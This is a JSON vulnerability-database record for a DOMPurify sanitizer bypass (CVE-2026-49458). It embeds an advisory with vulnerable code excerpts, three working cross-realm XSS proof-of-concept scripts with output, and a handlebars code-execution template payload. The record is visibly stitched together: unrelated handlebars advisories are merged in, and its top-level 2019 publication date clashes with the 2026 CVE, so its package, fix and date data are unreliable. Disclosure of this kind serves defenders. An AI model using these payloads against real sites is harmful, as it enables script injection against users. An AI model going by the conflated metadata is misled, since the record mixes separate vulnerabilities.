{"id":"CVE-2026-49458","aliases":["CLSA-2026-1774743817","CLSA-2026-1774743830","CLSA-2026-1785554485","CLSA-2026-1786731853","CLSA-2026-1786731948","CLSA-2026-1787602198","CLSA-2026-1789152222","CLSA-2026-1789153936","CLSA-2026-1789154068","CLSA-2026-1789154458","CLSA-2026-1789155659","CLSA-2026-1789155876","CLSA-2026-1792150209","CLSA-2026-1792155851","CLSA-2026-1792156267","CLSA-2026-1792156282","CLSA-2026-1792156382","CLSA-2026-1792156500","CLSA-2026-1792156589","CLSA-2026-1792156694","CLSA-2026-1792156803","CLSA-2026-1792156909","CLSA-2026-1792157013","CLSA-2026-1792157113","CLSA-2026-1792159369","CLSA-2026-1792161408","CLSA-2026-1792161492","CLSA-2026-1792424449","CLSA-2026-1792929243","CLSA-2026-1792933945","CLSA-2026-1793101871","CLSA-2026-1793102041","DEBIAN-CVE-2026-49458","EUVD-2026-44507","GHSA-2cf5-4w76-r9qv","GHSA-39q2-94rc-95cp","GHSA-55q2-fjhq-7xh7","GHSA-6688-9rhm-gjv2","GHSA-c2j3-45gr-mqc4","GHSA-c6gr-qvv4-5v3f","GHSA-cj63-jhhr-wcxv","GHSA-cjmm-f4jc-qw8r","GHSA-cmwh-pvxp-8882","GHSA-g9r4-xpmj-mj65","GHSA-h8r8-wccr-v5f2","GHSA-hpcv-96wg-7vj8","GHSA-mrv2-3pqr-j5jr","GHSA-q2c6-c6pm-g3gh","GHSA-q42p-pg8m-cqh6","GHSA-r47g-fvhr-h676","GHSA-vxr8-fq34-vvx9","ROOT-APP-NPM-CVE-2026-49458","ROOT-APP-NPM-GHSA-2cf5-4w76-r9qv","ROOT-APP-NPM-GHSA-g9r4-xpmj-mj65","ROOT-APP-NPM-GHSA-q2c6-c6pm-g3gh","ROOT-APP-NPM-GHSA-q42p-pg8m-cqh6","UBUNTU-CVE-2026-49458"],"status":"published","title":"DOMPurify: Cross-realm IN_PLACE sanitization leaves executable markup intact via realm-bound `instanceof` checks","description":"DOMPurify is a DOM-only cross-site scripting sanitizer for HTML, MathML, and SVG. Prior to 3.4.6, DOMPurify.sanitize(node, { IN_PLACE: true }) accepted same-origin foreign-realm DOM nodes while follow-on checks used parent-realm constructors, causing instanceof checks for forms, named node maps, document fragments, and elements to fail and skip clobber, template-content, and shadow-DOM sanitization branches so executable markup could survive. This issue is fixed in version 3.4.6.","severity":{"version":"3.1","score":6.1,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N","level":"medium","assessor":"cna","from":"cve"},"epss":{"day":"2026-11-09","score":0.00404,"percentile":0.3496,"model":"v2026.06.15"},"facts":{"in_kev":false,"known_exploited":false,"public_exploit":false,"fix_available":true},"cwes":["CWE-1321","CWE-471","CWE-501","CWE-693","CWE-79","CWE-94"],"published":"2019-06-05T14:07:48Z","modified":"2026-11-05T13:28:25Z","fixes":[{"ecosystem":"npm","package":"handlebars","fixed_in":["3.0.8","4.5.2","4.5.3","4.1.2","4.0.14","3.0.7"],"sources":["ghsa","osv"]},{"ecosystem":"npm","package":"dompurify","fixed_in":["3.4.6"],"sources":["ghsa","osv"]},{"ecosystem":"TuxCare:npm","package":"handlebars","fixed_in":["1.3.0-tuxcare.1","1.0.12-tuxcare.2"],"sources":["osv"]},{"ecosystem":"TuxCare:npm","package":"dompurify","fixed_in":["3.1.6-tuxcare.6"],"sources":["osv"]},{"ecosystem":"Debian:14","package":"node-dompurify","fixed_in":["3.4.12+dfsg-1"],"sources":["osv"]},{"ecosystem":"Root:npm","package":"dompurify","fixed_in":["2.5.8-aikido.3","2.5.9-aikido.2","3.2.4-aikido.2","2.5.9-aikido.3","3.2.4-aikido.3","2.5.8-aikido.2","3.4.0-aikido.1","3.4.2-aikido.1","3.4.5-aikido.1","3.4.2-aikido.2","2.5.9-aikido.4","3.2.4-aikido.4","2.5.9-aikido.5","3.2.4-aikido.5"],"sources":["osv"]},{"ecosystem":"Root:npm","package":"@rootio/dompurify","fixed_in":["2.5.8-root.io.3","2.5.9-root.io.2","3.2.4-root.io.2","2.5.9-root.io.3","3.2.4-root.io.3","2.5.8-root.io.2","3.4.0-root.io.1","3.4.2-root.io.1","3.4.5-root.io.1","3.4.2-root.io.2","2.5.9-root.io.4","3.2.4-root.io.4","2.5.9-root.io.5","3.2.4-root.io.5"],"sources":["osv"]},{"ecosystem":"Root:npm","package":"handlebars","fixed_in":["3.0.7-aikido.3","3.0.3-aikido.2","3.0.8-aikido.1","3.0.8-aikido.2","3.0.7-aikido.1","3.0.7-aikido.2"],"sources":["osv"]},{"ecosystem":"Root:npm","package":"@rootio/handlebars","fixed_in":["3.0.7-root.io.3","3.0.3-root.io.2","3.0.8-root.io.1","3.0.8-root.io.2","3.0.7-root.io.1","3.0.7-root.io.2"],"sources":["osv"]}],"affected":[{"source":"ghsa","ecosystem":"npm","package":"handlebars","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"3.0.8"}]}]},{"source":"ghsa","ecosystem":"npm","package":"handlebars","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"4.0.0"},{"fixed":"4.5.2"}]}]},{"source":"ghsa","ecosystem":"npm","package":"handlebars","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"3.0.8"}]}]},{"source":"ghsa","ecosystem":"npm","package":"handlebars","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"4.0.0"},{"fixed":"4.5.3"}]}]},{"source":"ghsa","ecosystem":"npm","package":"dompurify","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"last_affected":"3.4.5"},{"fixed":"3.4.6"}]}]},{"source":"ghsa","ecosystem":"npm","package":"handlebars","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"3.0.8"}]}]},{"source":"ghsa","ecosystem":"npm","package":"handlebars","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"4.0.0"},{"fixed":"4.5.3"}]}]},{"source":"ghsa","ecosystem":"npm","package":"handlebars","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"4.1.0"},{"fixed":"4.1.2"}]}]},{"source":"ghsa","ecosystem":"npm","package":"handlebars","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"4.0.0"},{"fixed":"4.0.14"}]}]},{"source":"ghsa","ecosystem":"npm","package":"handlebars","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"3.0.7"}]}]},{"source":"osv","ecosystem":"TuxCare:npm","package":"handlebars","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"1.3.0-tuxcare.0"},{"fixed":"1.3.0-tuxcare.1"}]}],"versions":["1.3.0"]},{"source":"osv","ecosystem":"TuxCare:npm","package":"handlebars","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"1.0.12-tuxcare.0"},{"fixed":"1.0.12-tuxcare.2"}]}],"versions":["1.0.12","1.0.12-tuxcare.1"]},{"source":"osv","ecosystem":"TuxCare:npm","package":"dompurify","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"3.1.6-tuxcare.0"},{"fixed":"3.1.6-tuxcare.6"}]}],"versions":["3.1.6","3.1.6-tuxcare.1","3.1.6-tuxcare.2","3.1.6-tuxcare.3","3.1.6-tuxcare.4","3.1.6-tuxcare.5"]},{"source":"osv","ecosystem":"TuxCare:npm","package":"dompurify","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"3.2.3-tuxcare.0"},{"fixed":"3.2.3-tuxcare.3"}]}],"versions":["3.2.3","3.2.3-tuxcare.1","3.2.3-tuxcare.2"],"bundled":9},{"source":"osv","ecosystem":"TuxCare:npm","package":"dompurify","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"3.2.7-tuxcare.0"},{"fixed":"3.2.7-tuxcare.1"}]}],"versions":["3.2.7"],"bundled":8},{"source":"osv","ecosystem":"TuxCare:npm","package":"dompurify","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"2.3.0-tuxcare.0"},{"fixed":"2.3.0-tuxcare.5"}]}],"versions":["2.3.0","2.3.0-tuxcare.1","2.3.0-tuxcare.2","2.3.0-tuxcare.3","2.3.0-tuxcare.4"],"bundled":10},{"source":"osv","ecosystem":"TuxCare:npm","package":"dompurify","ranges":[{"type":"ECOSYSTEM","events":[{"int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Advisory","advisory","web","report"]},{"url":"https://github.com/cure53/DOMPurify/commit/bb7739e5bccec7e1ab3dae3f3e42d02db3acaaae","tags":["x_refsource_MISC","Patch","fix","report"]},{"url":"https://github.com/cure53/DOMPurify/releases/tag/3.4.6","tags":["x_refsource_MISC","Release Notes","web","report"]},{"url":"https://www.npmjs.com/advisories/1316","tags":["web"]},{"url":"https://github.com/advisories/GHSA-2cf5-4w76-r9qv"},{"url":"https://www.npmjs.com/advisories/1325","tags":["web"]},{"url":"https://github.com/advisories/GHSA-g9r4-xpmj-mj65"},{"url":"https://github.com/advisories/GHSA-hpcv-96wg-7vj8"},{"url":"https://www.npmjs.com/advisories/1324","tags":["web"]},{"url":"https://github.com/advisories/GHSA-q2c6-c6pm-g3gh"},{"url":"https://github.com/handlebars-lang/handlebars.js/issues/1495","tags":["web"]},{"url":"https://github.com/handlebars-lang/handlebars.js/commit/7372d4e9dffc9d70c09671aa28b9392a1577fd86","tags":["web"]},{"url":"https://snyk.io/vuln/SNYK-JS-HANDLEBARS-173692","tags":["web"]},{"url":"https://www.npmjs.com/advisories/755","tags":["web"]},{"url":"https://github.com/handlebars-lang/handlebars.js/commit/0d6d8c335ad81bad1b672fc56b6a44f6aa472dac","tags":["web"]},{"url":"https://github.com/handlebars-lang/handlebars.js/commit/85c8783b34fc6d36145d8b53885ad0b9e3c3f9c4","tags":["web"]},{"url":"https://github.com/handlebars-lang/handlebars.js/commit/cd38583216dce3252831916323202749431c773e","tags":["web"]},{"url":"https://github.com/advisories/GHSA-q42p-pg8m-cqh6"},{"url":"https://github.com/CVEProject/cvelistV5/tree/main/cves/2026/49xxx/CVE-2026-49458.json","tags":["advisory"]},{"url":"https://nvd.nist.gov/vuln/detail/CVE-2026-49458","tags":["advisory"]},{"url":"https://security-tracker.debian.org/tracker/CVE-2026-49458","tags":["advisory"]},{"url":"https://github.com/cure53/DOMPurify","tags":["package"]},{"url":"https://ubuntu.com/security/CVE-2026-49458","tags":["report"]},{"url":"https://www.cve.org/CVERecord?id=CVE-2026-49458","tags":["report"]}],"sources":{"cve":[{"id":"CVE-2026-49458","title":"DOMPurify: Cross-realm IN_PLACE sanitization leaves executable markup intact via realm-bound `instanceof` checks","description":"DOMPurify is a DOM-only cross-site scripting sanitizer for HTML, MathML, and SVG. Prior to 3.4.6, DOMPurify.sanitize(node, { IN_PLACE: true }) accepted same-origin foreign-realm DOM nodes while follow-on checks used parent-realm constructors, causing instanceof checks for forms, named node maps, document fragments, and elements to fail and skip clobber, template-content, and shadow-DOM sanitization branches so executable markup could survive. This issue is fixed in version 3.4.6.","status":"published","published":"2026-07-14T19:58:50.397Z","modified":"2026-07-15T13:03:02.384Z","cvss":[{"version":"3.1","score":6.1,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N","level":"medium","assessor":"cna"}],"cwes":["CWE-79","CWE-501","CWE-693"],"updated_at":"2026-11-02T13:35:10.963527Z"}],"euvd":[{"id":"EUVD-2026-44507","description":"DOMPurify is a DOM-only cross-site scripting sanitizer for HTML, MathML, and SVG. Prior to 3.4.6, DOMPurify.sanitize(node, { IN_PLACE: true }) accepted same-origin foreign-realm DOM nodes while follow-on checks used parent-realm constructors, causing instanceof checks for forms, named node maps, document fragments, and elements to fail and skip clobber, template-content, and shadow-DOM sanitization branches so executable markup could survive. This issue is fixed in version 3.4.6.","status":"published","published":"2026-07-14T19:58:50Z","modified":"2026-07-15T13:03:02Z","cvss":[{"version":"3.1","score":6.1,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N","level":"medium"}],"updated_at":"2026-11-02T18:19:53.226345Z"}],"ghsa":[{"id":"GHSA-2cf5-4w76-r9qv","title":"Arbitrary Code Execution in handlebars","description":"Versions of `handlebars` prior to 3.0.8 or 4.5.2 are vulnerable to Arbitrary Code Execution. The package's lookup helper fails to properly validate templates, allowing attackers to submit templates that execute arbitrary JavaScript in the system. It can be used to run arbitrary code in a server processing Handlebars templates or on a victim's browser (effectively serving as Cross-Site Scripting).\n\nThe following template can be used to demonstrate the vulnerability:  \n```{{#with \"constructor\"}}\n\t{{#with split as |a|}}\n\t\t{{pop (push \"alert('Vulnerable Handlebars JS');\")}}\n\t\t{{#with (concat (lookup join (slice 0 1)))}}\n\t\t\t{{#each (slice 2 3)}}\n\t\t\t\t{{#with (apply 0 a)}}\n\t\t\t\t\t{{.}}\n\t\t\t\t{{/with}}\n\t\t\t{{/each}}\n\t\t{{/with}}\n\t{{/with}}\n{{/with}}```\n\n\n## Recommendation\n\nUpgrade to version 3.0.8, 4.5.2 or later.","status":"published","published":"2020-09-04T14:57:38Z","modified":"2024-02-07T05:08:28Z","cvss":[{"version":"3.1","score":7.3,"vector":"CVSS:3.1/AV:L/AC:L/PR:L/UI:R/S:C/C:L/I:H/A:L","level":"high"}],"cwes":["CWE-94"],"updated_at":"2026-11-02T14:37:36.076201Z"},{"id":"GHSA-hpcv-96wg-7vj8","title":"DOMPurify: Cross-realm IN_PLACE sanitization leaves executable markup intact via realm-bound `instanceof` checks","description":"# Cross-realm IN_PLACE sanitization leaves executable markup intact via realm-bound `instanceof` checks\n\n**CWE**: CWE-79 (XSS — Improper Neutralization of Input During Web Page Generation) via CWE-693 (Protection Mechanism Failure — realm-bound `instanceof` checks fail-open on foreign-realm DOM nodes) and CWE-501 (Trust Boundary Violation — foreign-realm nodes accepted for sanitization but later checks are bound to the parent realm)\n\n## Summary\n\n`DOMPurify.sanitize(node, { IN_PLACE: true })` accepts a DOM node from any same-origin realm (e.g. a node owned by an application-created iframe document), but several follow-on security checks compare the node against constructors from the parent realm. Because constructors are per-realm, `instanceof HTMLFormElement`, `instanceof NamedNodeMap`, `instanceof DocumentFragment`, and `instanceof Element` all return `false` for nodes belonging to the iframe's realm. The library therefore proceeds as if the foreign-realm form is not clobberable, the foreign-realm `\u003ctemplate\u003e`'s `.content` is not a document fragment, and the foreign-realm attached shadow root is not a document fragment — silently skipping the clobber/template-content/shadow-DOM sanitization branches that those checks gate. Attacker-controlled markup survives in form attributes, template content, and attached shadow roots, and executes when the application later inserts or activates the sanitized node.\n\n## Affected\n\n- DOMPurify ≤ 3.4.5, including `main` at `89da34e03ec17868e561f87f3747a9371b61a9e7`\n- Any caller that constructs or parses untrusted DOM in a same-origin iframe (or any other same-origin realm — popup window, opened tab, programmatically-created `\u003ciframe srcdoc\u003e`) and then calls `DOMPurify.sanitize(foreignNode, { IN_PLACE: true })` against a sanitizer instance bound to a different realm\n\nNot affected:\n- String-input `DOMPurify.sanitize(dirtyString)` — the library calls its own parser inside `_initDocument`, the resulting nodes belong to the sanitizer's own realm, and the `instanceof` checks resolve as expected\n- IN_PLACE calls where the input node was created in the same realm as the DOMPurify instance\n\n## Vulnerability details\n\nThe unifying defect is that `_isClobbered`, `_sanitizeShadowDOM`'s template-content recursion, and `_sanitizeAttachedShadowRoots` all use realm-bound `instanceof` checks against the parent-realm constructors. Each branch fails-open for foreign-realm objects.\n\n### [A] — `_isClobbered` gates on `element instanceof HTMLFormElement`\n\n`src/purify.ts:1120-1140`:\n\n```ts\nconst _isClobbered = function (element: Element): boolean {\n  return (\n    element instanceof HTMLFormElement \u0026\u0026    // [A] realm-bound — false for any\n                                              //     iframe-realm \u003cform\u003e element\n    (typeof element.nodeName !== 'string' ||\n      typeof element.textContent !== 'string' ||\n      typeof element.removeChild !== 'function' ||\n      !(element.attributes instanceof NamedNodeMap) ||   // [A'] also realm-bound\n      typeof element.removeAttribute !== 'function' ||\n      typeof element.setAttribute !== 'function' ||\n      typeof element.namespaceURI !== 'string' ||\n      typeof element.insertBefore !== 'function' ||\n      typeof element.hasChildNodes !== 'function' ||\n      !(element.childNodes \u0026\u0026 typeof element.childNodes.length === 'number'))\n  );\n};\n```\n\nA foreign-realm `\u003cform\u003e` is an instance of the foreign realm's `HTMLFormElement`, not the parent realm's. The leading `instanceof` short-circuits to `false`, so `_isClobbered` returns `false` regardless of the named-property clobbering present on the form. The follow-on `_sanitizeAttributes` then iterates `currentNode.attributes` — which itself can be a clobbered value (a foreign-realm `\u003cinput\u003e` whose `name=\"attributes\"` shadows the form's real `NamedNodeMap`). The attribute walk traverses the wrong collection and never reaches the actual `onmouseover` / `onclick` / `action=javascript:` attributes on the form root.\n\n### [B] — `_sanitizeShadowDOM` gates template recursion on `content instanceof DocumentFragment`\n\n`src/purify.ts:1660-1662`:\n\n```ts\nwhile ((shadowNode = shadowIterator.nextNode())) {\n  ...\n  _sanitizeElements(shadowNode);\n  _sanitizeAttributes(shadowNode);\n  /* Deep shadow DOM detected */\n  if (shadowNode.content instanceof DocumentFragment) {   // [B] realm-bound\n    _sanitizeShadowDOM(shadowNode.content);\n  }\n}\n```\n\nThe same check exists in the main iterator at `:1861-1862`:\n\n```ts\nif (currentNode.content instanceof DocumentFragment) {     // [B'] realm-bound\n  _sanitizeShadowDOM(currentNode.content);\n}\n```\n\nFor a `\u003ctemplate\u003e` element constructed in a foreign realm, `template.content` is a `DocumentFragment` from that realm — not from the parent realm. Both checks miss it, and the template's contents (which carry attacker-controlled `\u003cimg src=x onerror=...\u003e` etc.) are never walked. The sanitized output appears clean from the outside, but the moment a consumer does `node.cloneNode(true)` / `importNode(template.content, true)` / inserts it into the live DOM, the embedded handler fires.\n\n### [C] — `_sanitizeAttachedShadowRoots` gates recursion on `sr instanceof DocumentFragment`\n\n`src/purify.ts:1702-1712`:\n\n```ts\nif (nodeType === NODE_TYPE.element) {\n  const sr = getShadowRoot\n    ? getShadowRoot(root)\n    : (root as Element).shadowRoot;\n  if (sr instanceof DocumentFragment) {                    // [C] realm-bound\n    _sanitizeAttachedShadowRoots(sr);\n    _sanitizeShadowDOM(sr);\n  }\n}\n```\n\nFor a host element constructed in a foreign realm with `host.attachShadow({mode:'open'})`, `host.shadowRoot` is a foreign-realm `ShadowRoot` (which extends the foreign realm's `DocumentFragment`). The `instanceof DocumentFragment` against the parent realm fails. The whole shadow subtree is skipped. When the host is later attached to the live document, the shadow DOM activates with attacker-controlled content.\n\n### The mismatch\n\nDOMPurify *accepts* foreign-realm nodes for sanitization (the entry-point's `_isNode(dirty)` at `:1750` is realm-agnostic — it checks shape, not constructor identity), so callers reasonably expect that the library's downstream defenses are equally realm-agnostic. They are not. `[A]` / `[B]` / `[C]` each fail-open for foreign-realm objects. A correct guard at each of those sites would use a realm-independent shape check (e.g., `nodeType === 11` for `DocumentFragment`, tag-name comparison for `HTMLFormElement` recognition).\n\n## Proof of concept\n\nEach PoC creates the attacker payload in a same-origin iframe, then calls the parent-realm `DOMPurify.sanitize(node, { IN_PLACE: true })` and verifies that handler execution succeeds on subsequent activation.\n\n### PoC 1 — cross-realm form clobbering survives\n\n```js\nconst iframe = document.createElement('iframe');\niframe.srcdoc = '\u003c!doctype html\u003e\u003chtml\u003e\u003cbody\u003e\u003c/body\u003e\u003c/html\u003e';\niframe.onload = () =\u003e {\n  const idoc = iframe.contentDocument;\n  const div = idoc.createElement('div'); div.id = 'dirty';\n  const form = idoc.createElement('form');\n  form.setAttribute('onmouseover',\n    'window.parent.__dompurify_xss=(window.parent.__dompurify_xss||0)+1');\n  const inp = idoc.createElement('input');\n  inp.setAttribute('name', 'attributes');                  // clobbers form.attributes\n  form.appendChild(inp);\n  div.appendChild(form);\n\n  DOMPurify.sanitize(div, { IN_PLACE: true });\n\n  window.__dompurify_xss = 0;\n  document.body.appendChild(div);\n  form.dispatchEvent(new MouseEvent('mouseover', { bubbles: true }));\n  // window.__dompurify_xss === 1\n};\ndocument.body.appendChild(iframe);\n```\n\nObserved (Chromium 148, DOMPurify 3.4.5, HEAD `89da34e`):\n\n```json\n{\n  \"sanitizeError\": null,\n  \"before\": {\n    \"formIsMainRealmHTMLFormElement\": false,\n    \"formIsForeignRealmHTMLFormElement\": true,\n    \"formAttributesType\": \"[object HTMLInputElement]\",\n    \"formAttributesEqualsInput\": true\n  },\n  \"after\": {\n    \"html\": \"\u003cdiv id=\\\"dirty\\\"\u003e\u003cform onmouseover=\\\"window.parent.__dompurify_xss=(window.parent.__dompurify_xss||0)+1\\\"\u003e\u003cinput\u003e\u003c/form\u003e\u003c/div\u003e\",\n    \"formOnmouseover\": \"window.parent.__dompurify_xss=(window.parent.__dompurify_xss||0)+1\",\n    \"xssExecuted\": 1\n  }\n}\n```\n\n### PoC 2 — cross-realm `\u003ctemplate\u003e` content is never walked\n\n```js\nconst iframe = document.createElement('iframe');\niframe.srcdoc = '\u003c!doctype html\u003e\u003chtml\u003e\u003cbody\u003e\u003c/body\u003e\u003c/html\u003e';\niframe.onload = () =\u003e {\n  const idoc = iframe.contentDocument;\n  const div = idoc.createElement('div');\n  const tpl = idoc.createElement('template');\n  tpl.innerHTML = '\u003cimg src=\"x\" onerror=' +\n    '\"window.parent.__dompurify_template_xss=(window.parent.__dompurify_template_xss||0)+1\"\u003e';\n  div.appendChild(tpl);\n\n  DOMPurify.sanitize(div, { IN_PLACE: true });\n\n  window.__dompurify_template_xss = 0;\n  const clone = idoc.importNode(tpl.content, true);\n  document.body.appendChild(clone);                        // fires onerror\n};\ndocument.body.appendChild(iframe);\n```\n\nObserved:\n\n```json\n{\n  \"before\": {\n    \"templateIsMainRealmHTMLTemplateElement\": false,\n    \"contentIsMainRealmDocumentFragment\": false,\n    \"contentIsForeignRealmDocumentFragment\": true\n  },\n  \"after\": {\n    \"templateInnerHTMLAfter\": \"\u003cimg src=\\\"x\\\" onerror=\\\"window.parent.__dompurify_template_xss=(window.parent.__dompurify_template_xss||0)+1\\\"\u003e\",\n    \"xssExecuted\": 1\n  }\n}\n```\n\n### PoC 3 — cross-realm attached shadow root is never walked\n\n```js\nconst iframe = document.createElement('iframe');\niframe.srcdoc = '\u003c!doctype html\u003e\u003chtml\u003e\u003cbody\u003e\u003c/body\u003e\u003c/html\u003e';\niframe.onload = () =\u003e {\n  const idoc = iframe.contentDocument;\n  const host = idoc.createElement('div');\n  host.attachShadow({ mode: 'open' }).innerHTML =\n    '\u003cimg src=x onerror=\"window.parent.__dompurify_shadow_xss=(window.parent.__dompurify_shadow_xss||0)+1\"\u003e\u003cb\u003esafe text\u003c/b\u003e';\n\n  DOMPurify.sanitize(host, { IN_PLACE: true });\n\n  window.__dompurify_shadow_xss = 0;\n  document.body.appendChild(host);                          // shadow activates, onerror fires\n};\ndocument.body.appendChild(iframe);\n```\n\nObserved:\n\n```json\n{\n  \"before\": {\n    \"hostIsMainRealmElement\": false,\n    \"shadowRootIsMainRealmDocumentFragment\": false,\n    \"shadowRootIsForeignRealmDocumentFragment\": true\n  },\n  \"after\": {\n    \"shadowRootInnerHTMLAfter\": \"\u003cimg src=\\\"x\\\" onerror=\\\"window.parent.__dompurify_shadow_xss=(window.parent.__dompurify_shadow_xss||0)+1\\\"\u003e\u003cb\u003esafe text\u003c/b\u003e\",\n    \"xssExecuted\": 1\n  }\n}\n```\n\nAll three PoCs run cleanly against `dist/purify.js` built from current `main` HEAD `89da34e`.\n\n## Impact\n\n### Direct\n\nAny application that parses, isolates, or constructs untrusted DOM inside a same-origin iframe (a common technique for `\u003cbase href\u003e` isolation, `document.write` sandboxing, layout pre-measurement, declarative-shadow-root attachment, etc.) and then hands the resulting node to a parent-realm DOMPurify instance with `IN_PLACE: true` is vulnerable. The library returns a node whose top-level shape looks sanitized, but executable attacker markup remains in:\n\n- **Form root attributes** — `onmouseover`, `onfocus`, `onclick`, `action=\"javascript:...\"`, `formaction=`, `target=`, `id=` (DOM-clobbering target), and the full attribute-allowlist set, because `_sanitizeAttributes` walks a clobbered `.attributes` instead of the real `NamedNodeMap`.\n- **`\u003ctemplate\u003e` content** — `\u003cimg onerror\u003e`, `\u003csvg\u003e\u003cscript\u003e`, `\u003ciframe srcdoc\u003e`, etc., because the inert template tree is never recursed into.\n- **Attached shadow roots** — any markup inside the shadow root, because the shadow walk is skipped entirely.\n\nXSS triggers when the consuming code:\n- Inserts the form into the live DOM and the user interacts with it (mouseover, click, focus).\n- Clones template content with `importNode` / `cloneNode(true)` / `node.appendChild(template.content)` into the live DOM.\n- Appends the shadow host to the live document (the shadow root becomes active and `\u003cimg onerror\u003e` fires synchronously during the insertion microtask).\n\n### Indirect / second-order\n\n- **DOM-based template engines** (Lit, Polymer, Vue, FAST) that often use foreign-realm `\u003ctemplate\u003e` parsing for performance reasons. If they pipe attacker-influenced content through such a template and then run DOMPurify on the parent-realm host, the template body is sanitization-skipped.\n- **Editor / WYSIWYG frameworks** that render preview content inside a same-origin iframe and then move it into the main document after sanitization.\n- **Email/HTML preview libraries** that parse received HTML in an isolated iframe to neutralize CSS / `\u003cbase\u003e` / form submission, then sanitize via the main page's DOMPurify.\n- **Declarative shadow DOM consumers** that adopt a host from one realm into another — the shadow subtree carries the bypass.\n\nThe known prior IN_PLACE-cross-window fix (which closed an earlier cross-window primitive) does not cover the realm-bound `instanceof` checks at `[A]`, `[B]`, `[C]`; current `main` HEAD is still affected.\n\n## Root cause\n\nPer-realm constructors. `instanceof X` checks the prototype chain against the parent realm's `X.prototype`. Foreign-realm objects have a different `X.prototype` and so fail every such check. The sanitizer accepts foreign-realm DOM nodes for `IN_PLACE` sanitization (the entry-point only checks node shape), but several internal security decisions are still bound to the parent realm. This produces an inconsistency: *\"we accept your node, but we silently behave as if it is not a form, not a template, not a shadow root.\"*\n\nOther realm-bound `instanceof` sites in the same file that should likely be audited as part of the same fix sweep:\n\n```ts\nelement instanceof HTMLFormElement     // src/purify.ts:1122\nelement.attributes instanceof NamedNodeMap  // src/purify.ts:1126\nsr instanceof DocumentFragment         // src/purify.ts:1706\ncurrentNode.content instanceof DocumentFragment  // src/purify.ts:1861\nshadowNode.content instanceof DocumentFragment   // src/purify.ts:1660 (approx)\ncurrentNode instanceof Element         // src/purify.ts:1296 (callsite of _checkValidNamespace)\n```\n\n## Suggested fix\n\nUse realm-independent shape checks consistently for any decision made on a node accepted from `IN_PLACE`:\n\n1. **`HTMLFormElement` detection** — compare via the realm-independent `getNodeName` cached prototype getter introduced for the recent shadow-root traversal hardening:\n\n   ```ts\n   const _isClobbered = function (element: Element): boolean {\n     const nn = getNodeName ? getNodeName(element) : element.nodeName;\n     if (typeof nn !== 'string' || transformCaseFunc(nn) !== 'form') return false;\n     // ... rest of the typeof / cached-getter shape checks ...\n   };\n   ```\n\n2. **`DocumentFragment` detection** — `nodeType === NODE_TYPE.documentFragment` (i.e., `11`), not `instanceof DocumentFragment`. The check is already realm-independent because `Node.nodeType` is a numeric constant. Same change for the `\u003ctemplate\u003e`-content and attached-shadow-root recursion sites.\n\n3. **`NamedNodeMap` detection** — read `element.attributes` via the cached `Element.prototype.attributes` getter (introduce `getAttributes = lookupGetter(ElementPrototype, 'attributes')`) and verify `nodeType === 11`-style shape (length is a number, indexed `[i]` returns objects with `.name`/`.value` strings). Do not rely on `instanceof NamedNodeMap`.\n\n4. **`Element` detection** at `:1296` — replace `currentNode instanceof Element` with a shape check (`getNodeType(currentNode) === NODE_TYPE.element`).\n\nThe invariant the fix should encode: *once `IN_PLACE` accepts a foreign-realm node for sanitization, every downstream security decision on that node must be foreign-realm-safe.* The cached prototype getters introduced for the shadow-root hardening already point at the right pattern; the fix is to extend that pattern to every realm-bound check in the sanitization path.","status":"published","published":"2026-06-15T19:56:35Z","modified":"2026-06-15T19:56:37Z","cvss":[{"version":"3.1","score":6.1,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N","level":"medium"}],"cwes":["CWE-79","CWE-501","CWE-693"],"updated_at":"2026-11-02T14:40:27.329706Z"},{"id":"GHSA-q42p-pg8m-cqh6","title":"Prototype Pollution in handlebars","description":"Versions of `handlebars` prior to 4.0.14 are vulnerable to Prototype Pollution. Templates may alter an Objects' prototype, thus allowing an attacker to execute arbitrary code on the server.\n\n\n## Recommendation\n\nFor handlebars 4.1.x upgrade to 4.1.2 or later.\nFor handlebars 4.0.x upgrade to 4.0.14 or later.","status":"published","published":"2019-06-05T14:07:48Z","modified":"2023-11-29T20:32:55Z","cvss":[{"version":"3.1","score":7.3,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:L","level":"high"}],"cwes":["CWE-471"],"updated_at":"2026-11-02T14:37:22.840002Z"},{"id":"GHSA-g9r4-xpmj-mj65","title":"Prototype Pollution in handlebars","description":"Versions of `handlebars` prior to 3.0.8 or 4.5.3 are vulnerable to prototype pollution. It is possible to add or modify properties to the Object prototype through a malicious template. This may allow attackers to crash the application or execute Arbitrary Code in specific conditions.\n\n\n## Recommendation\n\nUpgrade to version 3.0.8, 4.5.3 or later.","status":"published","published":"2020-09-04T15:06:32Z","modified":"2023-01-09T05:04:02Z","cwes":["CWE-1321"],"updated_at":"2026-11-02T14:36:08.267721Z"},{"id":"GHSA-q2c6-c6pm-g3gh","title":"Arbitrary Code Execution in handlebars","description":"Versions of `handlebars` prior to 3.0.8 or 4.5.3 are vulnerable to Arbitrary Code Execution. The package's lookup helper fails to properly validate templates, allowing attackers to submit templates that execute arbitrary JavaScript in the system. It is due to an incomplete fix for a [previous issue](https://www.npmjs.com/advisories/1316). This vulnerability can be used to run arbitrary code in a server processing Handlebars templates or on a victim's browser (effectively serving as Cross-Site Scripting).\n\n\n## Recommendation\n\nUpgrade to version 3.0.8, 4.5.3 or 